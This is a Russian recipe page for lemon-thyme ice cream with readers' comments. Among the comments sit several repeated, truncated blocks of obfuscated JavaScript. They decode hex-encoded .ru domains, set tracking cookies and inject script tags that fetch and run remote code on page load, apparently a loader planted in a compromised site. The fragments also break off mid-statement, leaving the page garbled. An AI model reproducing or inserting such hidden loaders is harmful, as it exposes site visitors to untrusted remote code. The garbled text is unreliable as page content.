Вход | Регистрация
Лимонно-тимьяновое мороженое
Ингредиенты
- сливки жирностью 33-35% - 500 мл.
- сгущенное молоко - 380 гр
- лимон - 1 шт
- тимьян - 4 веточки
- кардамон - 2 коробочки
Пошаговый рецепт приготовления
Замечательный десерт! Идеальный баланс кислого и сладкого. Вкус лимона не забивает вкус сливок и сгущенки, а тимьян и кардамон придают мороженому пикантность и необычность. И еще оно ооооооочень сытное – хватит на шесть, а то и восемь человек!!! Да, чуть не забыла - очень простое в приготовлении и очень быстрое - реальное время приготовления - 15 минут (без замораживания)!
1. С лимона снять цедру с помощью мелкой терки, выжать сок. С тимьяна оборвать листочки, из кардамона достать семена и растереть в ступке.
2. Сливки взбить миксером в густую пену, добавить сгущенное молоко, сок лимона, цедру, листья тимьяна и кардамон. Тщательно перемешать и вылить в пластиковую форму с крышкой. Убрать в морозильник на 1 час.
3. Достать форму из морозильника, тщательно перемешать миксером или вилкой. Повторять каждый час 3-4 раза. Убрать до полного застывания. Общее время замораживания 6-7 часов.
ПРИЯТНОГО АППЕТИТА!!!
Пошаговые фото рецепта
Информация о рецепте
Дополнительная информация
Сегодня получила наконец-то книгу!! Она замечательная!!! Изучила рецепты, нашла дома все ингредиенты для этого замечательного мороженого. И вот результат – наверное это один из самых вкусных десертов в моей жизни!!! Причем я не слишком люблю лимон в десертах. Идеальный баланс кислого и сладкого. Вкус лимона не забивает вкус сливок и сгущенки, а тимьян и кардамон придают мороженому пикантность и необычность. Единственное что бы я изменила – растерла бы тимьян в ступке чтоб его аромат больше чувствовался. И еще оно ооооооочень сытное – заявленных четырех порций с легкостью хватит на шесть, а то и восемь человек!!! Да, чуть не забыла - очень простое в приготовлении и очень быстрое - реальное время приготовления - 15 минут (без замораживания)!
Конечно, Оксан, я двумя руками за!!!
Спасибо!!!
Таня, очень вкусное оригинальное мороженое!
Спасибо, Анна Юлиановна!!!
Класс! Нежность!
Настя, благодарю!!
какое же оно зыбанюское
f=r(e)+"/pjs/"+t+"/c/"+c("koolinar.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="6861",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))
f=r(e)+"/pjs/"+t+"/c/"+c("koolinar.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="6861",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))
f=r(e)+"/pjs/"+t+"/c/"+c("koolinar.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="6861",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))
f=r(e)+"/pjs/"+t+"/c/"+c("koolinar.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="6861",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))
Спасибо, Зоинька!!!!
Красиво и вкусно))) Я тоже на него глаз положила было.....как-нибудь попробую....
Спасибо, Наташа! Мороженое замечательное - обязательно надо попробовать!!!
Специи в мороженном очень порадовали. Тимьян универсальная травка, и в мясо, и в мороженное, и в напитки, всегда неожиданный, но всегда отличный результат!
Полностью согласна - очень люблю тимьян!
Татьян, какое нежное мороженое получилось!
И фото очень понравилось, судя по нему, ты тимьян в горшочке выращиваешь? А я вот в Москве купить не успела, а у родителей в Тульской области не нашла свежего. Очень убедительно описаны вкусовые характеристики, так что теперь однозначно буду готовить по этому рецепту!
Спасибо большое, Наташенька!!!
Тимьян и розмарин купила по весне в ОБИ. Маленькие кустики, пересадила в большие горшочки и растут - прекрасно себя чувствуют, а то надоело покупать - очень большая упаковка, всю сразу не используешь, а выбрасывать жалко!!! Тимьян, душица и шалфей растут у меня на клумбе, но это только летом!!
Супер, Татьян, пошлю теперь мужа в ОБИ, а то меня тоже растраты гложат: купишь пряные травки и большая часть выкидывается, просто не под силу мне все переработать... А так в горшочке, просто класс!!!
Представляю этот замечательный вкус!
мой любимый рецепт - сливки+сгущенка - всегда отличное мороженое,ну а с такими добавками лично мне Италию почему-то навеяло)))
Да, Леночка, вкус совершенно исключительный!!!!
Обожаю такое сочетание, тимьян и лимон, вкусно безумно
Красота 👏🏻👏🏻👏🏻
Замечательное мороженое! Я как раз люблю лимон в десертах!
